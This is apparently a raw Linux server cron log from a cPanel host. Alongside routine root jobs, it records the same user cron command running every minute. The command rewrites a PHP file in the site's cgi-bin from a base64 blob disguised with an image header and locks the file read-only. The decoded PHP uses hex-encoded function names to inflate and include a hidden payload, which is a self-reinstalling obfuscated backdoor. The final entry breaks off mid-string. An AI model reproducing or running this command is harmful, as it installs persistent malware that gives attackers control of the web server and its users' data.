Apr  7 12:01:01 server CROND[2961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:01:01 server run-parts(/etc/cron.hourly)[2960]: starting 0anacron
Apr  7 12:01:01 server run-parts(/etc/cron.hourly)[2973]: finished 0anacron
Apr  7 12:02:01 server CROND[3131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:03:01 server CROND[3194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:04:01 server CROND[3266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:05:01 server CROND[3413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:05:01 server CROND[3415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:05:01 server CROND[3416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:05:01 server CROND[3414]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 12:06:01 server CROND[3546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:07:01 server CROND[3600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:08:01 server CROND[3721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:09:01 server CROND[3793]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 12:09:01 server CROND[3794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:10:01 server CROND[3861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:10:01 server CROND[3860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 12:10:01 server CROND[3862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:10:01 server CROND[3863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:11:01 server CROND[3979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:12:01 server CROND[4069]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 12:12:01 server CROND[4070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:13:01 server CROND[4233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:14:01 server CROND[4297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV